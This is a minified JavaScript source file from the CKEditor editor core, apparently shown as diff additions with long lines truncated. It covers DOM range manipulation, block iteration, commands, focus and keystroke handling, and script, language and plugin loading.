+"next"]())&&this.setStartAt(d,b?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_START);if(h){i.reset();(i=i[a==CKEDITOR.SHRINK_ELEMENT?"lastBackward":"previous"]())&&this.setEndAt(i,b?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_AFTER_END)}return!(!k&&!h)}},insertNode:function(a){this.optimizeBookmark();this.trim(false,true);var b=this.startContainer,c=b.getChild(this.startOffset);c?a.insertBefore(c):b.append(a);a.getParent()&&a.getParent().equals(this.endContainer)&&this.endOff [...]
+moveToPosition:function(a,b){this.setStartAt(a,b);this.collapse(true)},moveToRange:function(a){this.setStart(a.startContainer,a.startOffset);this.setEnd(a.endContainer,a.endOffset)},selectNodeContents:function(a){this.setStart(a,0);this.setEnd(a,a.type==CKEDITOR.NODE_TEXT?a.getLength():a.getChildCount())},setStart:function(a,b){if(a.type==CKEDITOR.NODE_ELEMENT&&CKEDITOR.dtd.$empty[a.getName()]){b=a.getIndex();a=a.getParent()}this.startContainer=a;this.startOffset=b;if(!this.endContainer) [...]
+a;this.endOffset=b}f(this)},setEnd:function(a,b){if(a.type==CKEDITOR.NODE_ELEMENT&&CKEDITOR.dtd.$empty[a.getName()]){b=a.getIndex()+1;a=a.getParent()}this.endContainer=a;this.endOffset=b;if(!this.startContainer){this.startContainer=a;this.startOffset=b}f(this)},setStartAfter:function(a){this.setStart(a.getParent(),a.getIndex()+1)},setStartBefore:function(a){this.setStart(a.getParent(),a.getIndex())},setEndAfter:function(a){this.setEnd(a.getParent(),a.getIndex()+1)},setEndBefore:function( [...]
+a.getIndex())},setStartAt:function(a,b){switch(b){case CKEDITOR.POSITION_AFTER_START:this.setStart(a,0);break;case CKEDITOR.POSITION_BEFORE_END:a.type==CKEDITOR.NODE_TEXT?this.setStart(a,a.getLength()):this.setStart(a,a.getChildCount());break;case CKEDITOR.POSITION_BEFORE_START:this.setStartBefore(a);break;case CKEDITOR.POSITION_AFTER_END:this.setStartAfter(a)}f(this)},setEndAt:function(a,b){switch(b){case CKEDITOR.POSITION_AFTER_START:this.setEnd(a,0);break;case CKEDITOR.POSITION_BEFORE [...]
+CKEDITOR.NODE_TEXT?this.setEnd(a,a.getLength()):this.setEnd(a,a.getChildCount());break;case CKEDITOR.POSITION_BEFORE_START:this.setEndBefore(a);break;case CKEDITOR.POSITION_AFTER_END:this.setEndAfter(a)}f(this)},fixBlock:function(a,b){var c=this.createBookmark(),i=this.document.createElement(b);this.collapse(a);this.enlarge(CKEDITOR.ENLARGE_BLOCK_CONTENTS);this.extractContents().appendTo(i);i.trim();CKEDITOR.env.ie||i.appendBogus();this.insertNode(i);this.moveToBookmark(c);return i},spli [...]
+new CKEDITOR.dom.elementPath(this.startContainer,this.root),c=new CKEDITOR.dom.elementPath(this.endContainer,this.root),i=b.block,d=c.block,g=null;if(!b.blockLimit.equals(c.blockLimit))return null;if(a!="br"){if(!i){i=this.fixBlock(true,a);d=(new CKEDITOR.dom.elementPath(this.endContainer,this.root)).block}d||(d=this.fixBlock(false,a))}a=i&&this.checkStartOfBlock();b=d&&this.checkEndOfBlock();this.deleteContents();if(i&&i.equals(d))if(b){g=new CKEDITOR.dom.elementPath(this.startContainer [...]
+this.moveToPosition(d,CKEDITOR.POSITION_AFTER_END);d=null}else if(a){g=new CKEDITOR.dom.elementPath(this.startContainer,this.root);this.moveToPosition(i,CKEDITOR.POSITION_BEFORE_START);i=null}else{d=this.splitElement(i);!CKEDITOR.env.ie&&!i.is("ul","ol")&&i.appendBogus()}return{previousBlock:i,nextBlock:d,wasStartOfBlock:a,wasEndOfBlock:b,elementPath:g}},splitElement:function(a){if(!this.collapsed)return null;this.setEndAt(a,CKEDITOR.POSITION_BEFORE_END);var b=this.extractContents(),c=a. [...]
+b.appendTo(c);c.insertAfter(a);this.moveToPosition(a,CKEDITOR.POSITION_AFTER_END);return c},removeEmptyBlocksAtEnd:function(){function a(d){return function(a){return b(a)||(c(a)||a.type==CKEDITOR.NODE_ELEMENT&&a.isEmptyInlineRemoveable())||d.is("table")&&a.is("caption")?false:true}}var b=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.dom.walker.bookmark(false);return function(b){for(var c=this.createBookmark(),o=this[b?"endPath":"startPath"](),d=o.block||o.blockLimit,n;d&&!d.equals(o.root) [...]
+d.getParent();this[b?"setEndAt":"setStartAt"](d,CKEDITOR.POSITION_AFTER_END);d.remove(1);d=n}this.moveToBookmark(c)}}(),startPath:function(){return new CKEDITOR.dom.elementPath(this.startContainer,this.root)},endPath:function(){return new CKEDITOR.dom.elementPath(this.endContainer,this.root)},checkBoundaryOfElement:function(a,b){var o=b==CKEDITOR.START,d=this.clone();d.collapse(o);d[o?"setStartAt":"setEndAt"](a,o?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_END);d=new CKEDITOR. [...]
+d.evaluator=c(o);return d[o?"checkBackward":"checkForward"]()},checkStartOfBlock:function(){var a=this.startContainer,c=this.startOffset;if(CKEDITOR.env.ie&&c&&a.type==CKEDITOR.NODE_TEXT){a=CKEDITOR.tools.ltrim(a.substring(0,c));l.test(a)&&this.trim(0,1)}this.trim();a=new CKEDITOR.dom.elementPath(this.startContainer,this.root);c=this.clone();c.collapse(true);c.setStartAt(a.block||a.blockLimit,CKEDITOR.POSITION_AFTER_START);a=new CKEDITOR.dom.walker(c);a.evaluator=b();return a.checkBackwa [...]
+this.endContainer,c=this.endOffset;if(CKEDITOR.env.ie&&a.type==CKEDITOR.NODE_TEXT){a=CKEDITOR.tools.rtrim(a.substring(c));l.test(a)&&this.trim(1,0)}this.trim();a=new CKEDITOR.dom.elementPath(this.endContainer,this.root);c=this.clone();c.collapse(false);c.setEndAt(a.block||a.blockLimit,CKEDITOR.POSITION_BEFORE_END);a=new CKEDITOR.dom.walker(c);a.evaluator=b();return a.checkForward()},getPreviousNode:function(a,b,c){var d=this.clone();d.collapse(1);d.setStartAt(c||this.root,CKEDITOR.POSITI [...]
+c=new CKEDITOR.dom.walker(d);c.evaluator=a;c.guard=b;return c.previous()},getNextNode:function(a,b,c){var d=this.clone();d.collapse();d.setEndAt(c||this.root,CKEDITOR.POSITION_BEFORE_END);c=new CKEDITOR.dom.walker(d);c.evaluator=a;c.guard=b;return c.next()},checkReadOnly:function(){function a(b,c){for(;b;){if(b.type==CKEDITOR.NODE_ELEMENT){if(b.getAttribute("contentEditable")=="false"&&!b.data("cke-editable"))return 0;if(b.is("html")||b.getAttribute("contentEditable")=="true"&&(b.contain [...]
+b.getParent()}return 1}return function(){var b=this.startContainer,c=this.endContainer;return!(a(b,c)&&a(c,b))}}(),moveToElementEditablePosition:function(b,c){if(b.type==CKEDITOR.NODE_ELEMENT&&!b.isEditable(false)){this.moveToPosition(b,c?CKEDITOR.POSITION_AFTER_END:CKEDITOR.POSITION_BEFORE_START);return true}for(var o=0;b;){if(b.type==CKEDITOR.NODE_TEXT){c&&this.checkEndOfBlock()&&l.test(b.getText())?this.moveToPosition(b,CKEDITOR.POSITION_BEFORE_START):this.moveToPosition(b,c?CKEDITOR. [...]
+CKEDITOR.POSITION_BEFORE_START);o=1;break}if(b.type==CKEDITOR.NODE_ELEMENT)if(b.isEditable()){this.moveToPosition(b,c?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_AFTER_START);o=1}else c&&(b.is("br")&&this.checkEndOfBlock())&&this.moveToPosition(b,CKEDITOR.POSITION_BEFORE_START);var d=b,g=o,f=void 0;d.type==CKEDITOR.NODE_ELEMENT&&d.isEditable(false)&&(f=d[c?"getLast":"getFirst"](a));!g&&!f&&(f=d[c?"getPrevious":"getNext"](a));b=f}return!!o},moveToElementEditStart:function(a){return thi [...]
+moveToElementEditEnd:function(a){return this.moveToElementEditablePosition(a,true)},getEnclosedNode:function(){var a=this.clone();a.optimize();if(a.startContainer.type!=CKEDITOR.NODE_ELEMENT||a.endContainer.type!=CKEDITOR.NODE_ELEMENT)return null;var a=new CKEDITOR.dom.walker(a),b=CKEDITOR.dom.walker.bookmark(false,true),c=CKEDITOR.dom.walker.whitespaces(true);a.evaluator=function(a){return c(a)&&b(a)};var d=a.next();a.reset();return d&&d.equals(a.previous())?d:null},getTouchedStartNode: [...]
+this.startContainer;return this.collapsed||a.type!=CKEDITOR.NODE_ELEMENT?a:a.getChild(this.startOffset)||a},getTouchedEndNode:function(){var a=this.endContainer;return this.collapsed||a.type!=CKEDITOR.NODE_ELEMENT?a:a.getChild(this.endOffset-1)||a},scrollIntoView:function(){var a=new CKEDITOR.dom.element.createFromHtml("<span> </span>",this.document),b,c,d,g=this.clone();g.optimize();if(d=g.startContainer.type==CKEDITOR.NODE_TEXT){c=g.startContainer.getText();b=g.startContainer.spli [...]
+a.insertAfter(g.startContainer)}else g.insertNode(a);a.scrollIntoView();if(d){g.startContainer.setText(c);b.remove()}a.remove()}}})();CKEDITOR.POSITION_AFTER_START=1;CKEDITOR.POSITION_BEFORE_END=2;CKEDITOR.POSITION_BEFORE_START=3;CKEDITOR.POSITION_AFTER_END=4;CKEDITOR.ENLARGE_ELEMENT=1;CKEDITOR.ENLARGE_BLOCK_CONTENTS=2;CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS=3;CKEDITOR.ENLARGE_INLINE=4;CKEDITOR.START=1;CKEDITOR.END=2;CKEDITOR.SHRINK_ELEMENT=1;CKEDITOR.SHRINK_TEXT=2;
+(function(){function b(a){if(!(arguments.length<1)){this.range=a;this.forceBrBreak=0;this.enlargeBr=1;this.enforceRealBlocks=0;this._||(this._={})}}function c(a,b,c){for(a=a.getNextSourceNode(b,null,c);!f(a);)a=a.getNextSourceNode(b,null,c);return a}var a=/^[\r\n\t ]+$/,f=CKEDITOR.dom.walker.bookmark(false,true),e=CKEDITOR.dom.walker.whitespaces(true),d=function(a){return f(a)&&e(a)};b.prototype={getNextParagraph:function(b){b=b||"p";if(!CKEDITOR.dtd[this.range.root.getName()][b])return [...]
+h,l,m,n,o;if(!this._.started){h=this.range.clone();h.shrink(CKEDITOR.NODE_ELEMENT,true);m=h.endContainer.hasAscendant("pre",true)||h.startContainer.hasAscendant("pre",true);h.enlarge(this.forceBrBreak&&!m||!this.enlargeBr?CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS:CKEDITOR.ENLARGE_BLOCK_CONTENTS);if(!h.collapsed){m=new CKEDITOR.dom.walker(h.clone());var i=CKEDITOR.dom.walker.bookmark(true,true);m.evaluator=i;this._.nextNode=m.next();m=new CKEDITOR.dom.walker(h.clone());m.evaluator=i;m=m.previou [...]
+m.getNextSourceNode(true);if(this._.lastNode&&this._.lastNode.type==CKEDITOR.NODE_TEXT&&!CKEDITOR.tools.trim(this._.lastNode.getText())&&this._.lastNode.getParent().isBlockBoundary()){i=this.range.clone();i.moveToPosition(this._.lastNode,CKEDITOR.POSITION_AFTER_END);if(i.checkEndOfBlock()){i=new CKEDITOR.dom.elementPath(i.endContainer,i.root);this._.lastNode=(i.block||i.blockLimit).getNextSourceNode(true)}}if(!this._.lastNode){this._.lastNode=this._.docEndMarker=h.document.createText("") [...]
+null}this._.started=1}i=this._.nextNode;m=this._.lastNode;for(this._.nextNode=null;i;){var q=0,y=i.hasAscendant("pre"),z=i.type!=CKEDITOR.NODE_ELEMENT,j=0;if(z)i.type==CKEDITOR.NODE_TEXT&&a.test(i.getText())&&(z=0);else{var s=i.getName();if(i.isBlockBoundary(this.forceBrBreak&&!y&&{br:1})){if(s=="br")z=1;else if(!h&&!i.getChildCount()&&s!="hr"){e=i;l=i.equals(m);break}if(h){h.setEndAt(i,CKEDITOR.POSITION_BEFORE_START);if(s!="br")this._.nextNode=i}q=1}else{if(i.getFirst()){if(!h){h=this.r [...]
+h.setStartAt(i,CKEDITOR.POSITION_BEFORE_START)}i=i.getFirst();continue}z=1}}if(z&&!h){h=this.range.clone();h.setStartAt(i,CKEDITOR.POSITION_BEFORE_START)}l=(!q||z)&&i.equals(m);if(h&&!q)for(;!i.getNext(d)&&!l;){s=i.getParent();if(s.isBlockBoundary(this.forceBrBreak&&!y&&{br:1})){q=1;z=0;l||s.equals(m);h.setEndAt(s,CKEDITOR.POSITION_BEFORE_END);break}i=s;z=1;l=i.equals(m);j=1}z&&h.setEndAt(i,CKEDITOR.POSITION_AFTER_END);i=c(i,j,m);if((l=!i)||q&&h)break}if(!e){if(!h){this._.docEndMarker&&t [...]
+return this._.nextNode=null}e=new CKEDITOR.dom.elementPath(h.startContainer,h.root);i=e.blockLimit;q={div:1,th:1,td:1};e=e.block;if(!e&&i&&!this.enforceRealBlocks&&q[i.getName()]&&h.checkStartOfBlock()&&h.checkEndOfBlock()&&!i.equals(h.root))e=i;else if(!e||this.enforceRealBlocks&&e.getName()=="li"){e=this.range.document.createElement(b);h.extractContents().appendTo(e);e.trim();h.insertNode(e);n=o=true}else if(e.getName()!="li"){if(!h.checkStartOfBlock()||!h.checkEndOfBlock()){e=e.clone( [...]
+e.trim();o=h.splitBlock();n=!o.wasStartOfBlock;o=!o.wasEndOfBlock;h.insertNode(e)}}else if(!l)this._.nextNode=e.equals(m)?null:c(h.getBoundaryNodes().endNode,1,m)}if(n)(h=e.getPrevious())&&h.type==CKEDITOR.NODE_ELEMENT&&(h.getName()=="br"?h.remove():h.getLast()&&h.getLast().$.nodeName.toLowerCase()=="br"&&h.getLast().remove());if(o)(h=e.getLast())&&h.type==CKEDITOR.NODE_ELEMENT&&h.getName()=="br"&&(CKEDITOR.env.ie||h.getPrevious(f)||h.getNext(f))&&h.remove();if(!this._.nextNode)this._.ne [...]
+e.equals(m)||!m?null:c(e,1,m);return e}};CKEDITOR.dom.range.prototype.createIterator=function(){return new b(this)}})();
+CKEDITOR.command=function(b,c){this.uiItems=[];this.exec=function(a){if(this.state==CKEDITOR.TRISTATE_DISABLED)return false;this.editorFocus&&b.focus();return this.fire("exec")===false?true:c.exec.call(this,b,a)!==false};this.refresh=function(a,b){if(!this.readOnly&&a.readOnly)return true;if(this.context&&!b.isContextFor(this.context)){this.disable();return true}this.enable();return this.fire("refresh",{editor:a,path:b})===false?true:c.refresh&&c.refresh.apply(this,arguments)!==false};CK [...]
+c,{modes:{wysiwyg:1},editorFocus:1,contextSensitive:!!c.context,state:CKEDITOR.TRISTATE_OFF});CKEDITOR.event.call(this)};
+CKEDITOR.command.prototype={enable:function(){this.state==CKEDITOR.TRISTATE_DISABLED&&this.setState(!this.preserveState||typeof this.previousState=="undefined"?CKEDITOR.TRISTATE_OFF:this.previousState)},disable:function(){this.setState(CKEDITOR.TRISTATE_DISABLED)},setState:function(b){if(this.state==b)return false;this.previousState=this.state;this.state=b;this.fire("state");return true},toggleState:function(){this.state==CKEDITOR.TRISTATE_OFF?this.setState(CKEDITOR.TRISTATE_ON):this.sta [...]
+this.setState(CKEDITOR.TRISTATE_OFF)}};CKEDITOR.event.implementOn(CKEDITOR.command.prototype,!0);CKEDITOR.ENTER_P=1;CKEDITOR.ENTER_BR=2;CKEDITOR.ENTER_DIV=3;
+CKEDITOR.config={customConfig:"config.js",autoUpdateElement:!0,language:"",defaultLanguage:"en",contentsLangDirection:"",enterMode:CKEDITOR.ENTER_P,forceEnterMode:!1,shiftEnterMode:CKEDITOR.ENTER_BR,docType:"<!DOCTYPE html>",bodyId:"",bodyClass:"",fullPage:!1,height:200,extraPlugins:"",removePlugins:"",protectedSource:[],tabIndex:0,width:"",baseFloatZIndex:1E4,blockedKeystrokes:[CKEDITOR.CTRL+66,CKEDITOR.CTRL+73,CKEDITOR.CTRL+85]};
+(function(){CKEDITOR.focusManager=function(b){if(b.focusManager)return b.focusManager;this.hasFocus=false;this.currentActive=null;this._={editor:b};return this};CKEDITOR.focusManager._={blurDelay:200};CKEDITOR.focusManager.prototype={focus:function(){this._.timer&&clearTimeout(this._.timer);if(!this.hasFocus&&!this._.locked){var b=CKEDITOR.currentInstance;b&&b.focusManager.blur(1);this.hasFocus=true;(b=this._.editor.container)&&b.addClass("cke_focus");this._.editor.fire("focus")}},lock:f [...]
+1},unlock:function(){delete this._.locked},blur:function(b){function c(){if(this.hasFocus){this.hasFocus=false;var a=this._.editor.container;a&&a.removeClass("cke_focus");this._.editor.fire("blur")}}if(!this._.locked){this._.timer&&clearTimeout(this._.timer);var a=CKEDITOR.focusManager._.blurDelay;b||!a?c.call(this):this._.timer=CKEDITOR.tools.setTimeout(function(){delete this._.timer;c.call(this)},a,this)}},add:function(b,c){var a=b.getCustomData("focusmanager");if(!a||a!=this){a&&a.rem [...]
+"focus",f="blur";if(c)if(CKEDITOR.env.ie){a="focusin";f="focusout"}else CKEDITOR.event.useCapture=1;var e={blur:function(){b.equals(this.currentActive)&&this.blur()},focus:function(){this.currentActive=b;this.focus()}};b.on(a,e.focus,this);b.on(f,e.blur,this);if(c)CKEDITOR.event.useCapture=0;b.setCustomData("focusmanager",this);b.setCustomData("focusmanager_handlers",e)}},remove:function(b){b.removeCustomData("focusmanager");var c=b.removeCustomData("focusmanager_handlers");b.removeListe [...]
+c.blur);b.removeListener("focus",c.focus)}}})();CKEDITOR.keystrokeHandler=function(b){if(b.keystrokeHandler)return b.keystrokeHandler;this.keystrokes={};this.blockedKeystrokes={};this._={editor:b};return this};
+(function(){var b,c=function(a){var a=a.data,c=a.getKeystroke(),d=this.keystrokes[c],g=this._.editor;b=g.fire("key",{keyCode:c})===false;if(!b){d&&(b=g.execCommand(d,{from:"keystrokeHandler"})!==false);b||(b=!!this.blockedKeystrokes[c])}b&&a.preventDefault(true);return!b},a=function(a){if(b){b=false;a.data.preventDefault(true)}};CKEDITOR.keystrokeHandler.prototype={attach:function(b){b.on("keydown",c,this);if(CKEDITOR.env.opera||CKEDITOR.env.gecko&&CKEDITOR.env.mac)b.on("keypress",a,this [...]
+(function(){CKEDITOR.lang={languages:{af:1,ar:1,bg:1,bn:1,bs:1,ca:1,cs:1,cy:1,da:1,de:1,el:1,"en-au":1,"en-ca":1,"en-gb":1,en:1,eo:1,es:1,et:1,eu:1,fa:1,fi:1,fo:1,"fr-ca":1,fr:1,gl:1,gu:1,he:1,hi:1,hr:1,hu:1,is:1,it:1,ja:1,ka:1,km:1,ko:1,ku:1,lt:1,lv:1,mn:1,ms:1,nb:1,nl:1,no:1,pl:1,"pt-br":1,pt:1,ro:1,ru:1,sk:1,sl:1,"sr-latn":1,sr:1,sv:1,th:1,tr:1,uk:1,vi:1,"zh-cn":1,zh:1},load:function(b,c,a){if(!b||!CKEDITOR.lang.languages[b])b=this.detect(c,b);this[b]?a(b,this[b]):CKEDITOR.scriptLoade [...]
+b+".js"),function(){a(b,this[b])},this)},detect:function(b,c){var a=this.languages,c=c||navigator.userLanguage||navigator.language||b,f=c.toLowerCase().match(/([a-z]+)(?:-([a-z]+))?/),e=f[1],f=f[2];a[e+"-"+f]?e=e+"-"+f:a[e]||(e=null);CKEDITOR.lang.detect=e?function(){return e}:function(a){return a};return e||b}}})();
+CKEDITOR.scriptLoader=function(){var b={},c={};return{load:function(a,f,e,d){var g=typeof a=="string";g&&(a=[a]);e||(e=CKEDITOR);var k=a.length,h=[],l=[],m=function(a){f&&(g?f.call(e,a):f.call(e,h,l))};if(k===0)m(true);else{var n=function(a,b){(b?h:l).push(a);if(--k<=0){d&&CKEDITOR.document.getDocumentElement().removeStyle("cursor");m(b)}},o=function(a,o){b[a]=1;var d=c[a];delete c[a];for(var i=0;i<d.length;i++)d[i](a,o)},i=function(a){if(b[a])n(a,true);else{var d=c[a]||(c[a]=[]);d.push( [...]
+1)){var i=new CKEDITOR.dom.element("script");i.setAttributes({type:"text/javascript",src:a});if(f)if(CKEDITOR.env.ie)i.$.onreadystatechange=function(){if(i.$.readyState=="loaded"||i.$.readyState=="complete"){i.$.onreadystatechange=null;o(a,true)}};else{i.$.onload=function(){setTimeout(function(){o(a,true)},0)};i.$.onerror=function(){o(a,false)}}i.appendTo(CKEDITOR.document.getHead())}}};d&&CKEDITOR.document.getDocumentElement().setStyle("cursor","wait");for(var q=0;q<k;q++)i(a[q])}}}}();
+CKEDITOR.resourceManager=function(b,c){this.basePath=b;this.fileName=c;this.registered={};this.loaded={};this.externals={};this._={waitingList:{}}};
+CKEDITOR.resourceManager.prototype={add:function(b,c){if(this.registered[b])throw'[CKEDITOR.resourceManager.add] The resource name "'+b+'" is already registered.';var a=this.registered[b]=c||{};a.name=b;a.path=this.getPath(b);CKEDITOR.fire(b+CKEDITOR.tools.capitalize(this.fileName)+"Ready",a);return this.get(b)},get:function(b){return this.registered[b]||null},getPath:function(b){var c=this.externals[b];return CKEDITOR.getUrl(c&&c.dir||this.basePath+b+"/")},getFilePath:function(b){var c= [...]
+return CKEDITOR.getUrl(this.getPath(b)+(c&&typeof c.file=="string"?c.file:this.fileName+".js"))},addExternal:function(b,c,a){for(var b=b.split(","),f=0;f<b.length;f++)this.externals[b[f]]={dir:c,file:a}},load:function(b,c,a){CKEDITOR.tools.isArray(b)||(b=b?[b]:[]);for(var f=this.loaded,e=this.registered,d=[],g={},k={},h=0;h<b.length;h++){var l=b[h];if(l)if(!f[l]&&!e[l]){var m=this.getFilePath(l);d.push(m);m in g||(g[m]=[]);g[m].push(l)}else k[l]=this.get(l)}CKEDITOR.scriptLoader.load(d,f [...]
+o){if(o.length)throw'[CKEDITOR.resourceManager.load] Resource name "'+g[o[0]].join(",")+'" was not found at "'+o[0]+'".';for(var d=0;d<b.length;d++)for(var e=g[b[d]],h=0;h<e.length;h++){var l=e[h];k[l]=this.get(l);f[l]=1}c.call(a,k)},this)}};CKEDITOR.plugins=new CKEDITOR.resourceManager("plugins/","plugin");
+CKEDITOR.plugins.load=CKEDITOR.tools.override(CKEDITOR.plugins.load,function(b){var c={};return function(a,f,e){var d={},g=function(a){b.call(this,a,function(a){CKEDITOR.tools.extend(d,a);var b=[],k;for(k in a){var n=a[k],o=n&&n.requires;if(!c[k]){if(n.icons)for(var i=n.icons.split(","),q=0;q<i.length;q++)CKEDITOR.skin.addIcon(i[q],n.path+"icons/"+i[q]+".png");c[k]=1}if(o){o.split&&(o=o.split(","));for(n=0;n<o.length;n++)d[o[n]]||b.push(o[n])}}if(b.length)g.call(this,b);else{for(k in d){ [...]
+!n.onLoad._called){n.onLoad()===false&&delete d[k];n.onLoad._called=1}}f&&f.call(e||window,d)}},this)};g.call(this,a)}});CKEDITOR.plugins.setLang=function(b,c,a){var f=this.get(b),b=f.langEntries||(f.langEntries={}),f=f.lang||(f.lang=[]);f.split&&(f=f.split(","));CKEDITOR.tools.indexOf(f,c)==-1&&f.push(c);b[c]=a};CKEDITOR.ui=function(b){if(b.ui)return b.ui;this.items={};this.instances={};this.editor=b;this._={handlers:{}};return this};
+CKEDITOR.ui.prototype={add:function(b,c,a){a.name=b.toLowerCase();var f=this.items[b]={type:c,command:a.command||null,args:Array.prototype.slice.call(arguments,2)};CKEDITOR.tools.extend(f,a)},get:function(b){return this.instances[b]},create:function(b){var c=this.items[b],a=c&&this._.handlers[c.type],f=c&&c.command&&this.editor.getCommand(c.command),a=a&&a.create.apply(this,c.args);this.instances[b]=a;f&&f.uiItems.push(a);if(a&&!a.type)a.type=c.type;return a},addHandler:function(b,c){thi [...]
+c},space:function(b){return CKEDITOR.document.getById(this.spaceId(b))},spaceId:function(b){return this.editor.id+"_"+b}};CKEDITOR.event.implementOn(CKEDITOR.ui);
+(function(){function b(b,i,n){CKEDITOR.event.call(this);b=b&&CKEDITOR.tools.clone(b);if(i!==void 0){if(i instanceof CKEDITOR.dom.element){if(!n)throw Error("One of the element mode must be specified.");}else throw Error("Expect element of type CKEDITOR.dom.element.");if(CKEDITOR.env.ie&&CKEDITOR.env.quirks&&n==CKEDITOR.ELEMENT_MODE_INLINE)throw Error("Inline element mode is not supported on IE quirks.");if(n==CKEDITOR.ELEMENT_MODE_INLINE&&!i.is(CKEDITOR.dtd.$editable)||n==CKEDITOR.ELEMEN [...]
+i.is(CKEDITOR.dtd.$nonBodyContent))throw Error('The specified element mode is not supported on element: "'+i.getName()+'".');this.element=i;this.elementMode=n;this.name=this.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO&&(i.getId()||i.getNameAtt())}else this.elementMode=CKEDITOR.ELEMENT_MODE_NONE;this._={};this.commands={};this.templates={};this.name=this.name||c();this.id=CKEDITOR.tools.getNextId();this.config=CKEDITOR.tools.prototypedCopy(CKEDITOR.config);this.ui=new CKEDITOR.ui(this);th [...]
+new CKEDITOR.focusManager(this);this.keystrokeHandler=new CKEDITOR.keystrokeHandler(this);this.on("mode",a);this.on("readOnly",a);this.on("selectionChange",f);this.on("instanceReady",function(){this.config.startupFocus&&this.focus()});CKEDITOR.fire("instanceCreated",null,this);CKEDITOR.add(this);CKEDITOR.tools.setTimeout(function(){d(this,b)},0,this)}function c(){do var a="editor"+ ++m;while(CKEDITOR.instances[a]);return a}function a(){var a,b=this.commands,c=this.mode;if(c)for(var d in [...]
+a[a.startDisabled?"disable":this.readOnly&&!a.readOnly?"disable":a.modes[c]?"enable":"disable"]()}}function f(a){var b=this.commands,c=a.editor,d=a.data.path,n;for(n in b){a=b[n];a.contextSensitive&&a.refresh(c,d)}}function e(a){var b=a.config.customConfig;if(!b)return false;var b=CKEDITOR.getUrl(b),c=n[b]||(n[b]={});if(c.fn){c.fn.call(a,a.config);(CKEDITOR.getUrl(a.config.customConfig)==b||!e(a))&&a.fireOnce("customConfigLoaded")}else CKEDITOR.scriptLoader.load(b,function(){c.fn=CKEDITO [...]
+CKEDITOR.editorConfig:function(){};e(a)});return true}function d(a,b){a.on("customConfigLoaded",function(){if(b){if(b.on)for(var c in b.on)a.on(c,b.on[c]);CKEDITOR.tools.extend(a.config,b,true);delete a.config.on}a.readOnly=!(!a.config.readOnly&&!(a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.element.isReadOnly():a.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE&&a.element.getAttribute("disabled")));a.blockless=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE&&!CKEDITOR.dtd[a.element.getName()].p; [...]
+a.config.tabIndex||a.element&&a.element.getAttribute("tabindex")||0;if(a.config.skin)CKEDITOR.skinName=a.config.skin;a.fireOnce("configLoaded");a.dataProcessor=new CKEDITOR.htmlDataProcessor(a);g(a)});if(b&&b.customConfig!=void 0)a.config.customConfig=b.customConfig;e(a)||a.fireOnce("customConfigLoaded")}function g(a){CKEDITOR.skin.loadPart("editor",function(){k(a)})}function k(a){CKEDITOR.lang.load(a.config.language,a.config.defaultLanguage,function(b,c){a.langCode=b;a.lang=CKEDITOR.too [...]
+if(CKEDITOR.env.gecko&&CKEDITOR.env.version<10900&&a.lang.dir=="rtl")a.lang.dir="ltr";if(!a.config.contentsLangDirection)a.config.contentsLangDirection=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.element.getDirection(1):a.lang.dir;a.fire("langLoaded");h(a)})}function h(a){var b=a.config,c=b.plugins,d=b.extraPlugins,n=b.removePlugins;if(d)var e=RegExp("(?:^|,)(?:"+d.replace(/\s*,\s*/g,"|")+")(?=,|$)","g"),c=c.replace(e,""),c=c+(","+d);if(n)var g=RegExp("(?:^|,)(?:"+n.replace(/\s*,\s*/g, [...]
+"g"),c=c.replace(g,"");CKEDITOR.env.air&&(c=c+",adobeair");CKEDITOR.plugins.load(c.split(","),function(c){var d=[],n=[],e=[];a.plugins=c;for(var f in c){var j=c[f],h=j.lang,q=null,t=j.requires,k;CKEDITOR.tools.isArray(t)&&(t=t.join(","));if(t&&(k=t.match(g)))for(;t=k.pop();)CKEDITOR.tools.setTimeout(function(a,b){throw Error('Plugin "'+a.replace(",","")+'" cannot be removed from the plugins list, because it\'s required by "'+b+'" plugin.');},0,null,[t,f]);if(h&&!a.lang[f]){h.split&&(h=h. [...]
+if(CKEDITOR.tools.indexOf(h,a.langCode)>=0)q=a.langCode;else{q=a.langCode.replace(/-.*/,"");q=q!=a.langCode&&CKEDITOR.tools.indexOf(h,q)>=0?q:CKEDITOR.tools.indexOf(h,"en")>=0?"en":h[0]}if(!j.langEntries||!j.langEntries[q])e.push(CKEDITOR.getUrl(j.path+"lang/"+q+".js"));else{a.lang[f]=j.langEntries[q];q=null}}n.push(q);d.push(j)}CKEDITOR.scriptLoader.load(e,function(){for(var c=["beforeInit","init","afterInit"],e=0;e<c.length;e++)for(var g=0;g<d.length;g++){var f=d[g];e===0&&(n[g]&&f.lan [...]
+(a.lang[f.name]=f.langEntries[n[g]]);if(f[c[e]])f[c[e]](a)}a.fireOnce("pluginsLoaded");b.keystrokes&&a.setKeystroke(a.config.keystrokes);for(g=0;g<a.config.blockedKeystrokes.length;g++)a.keystrokeHandler.blockedKeystrokes[a.config.blockedKeystrokes[g]]=1;a.fireOnce("loaded");CKEDITOR.fire("instanceLoaded",null,a)})})}function l(){var a=this.element;if(a&&this.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO){var b=this.getData();this.config.htmlEncodeOutput&&(b=CKEDITOR.tools.htmlEncode(b));a [...]
+a.setValue(b):a.setHtml(b);return true}return false}b.prototype=CKEDITOR.editor.prototype;CKEDITOR.editor=b;var m=0,n={};CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{addCommand:function(a,b){return this.commands[a]=new CKEDITOR.command(this,b)},destroy:function(a){this.fire("beforeDestroy");!a&&l.call(this);this.editable(null);this.fire("destroy");this.removeAllListeners();CKEDITOR.remove(this);CKEDITOR.fire("instanceDestroyed",null,this)},elementPath:function(a){return(a=a||this.get [...]
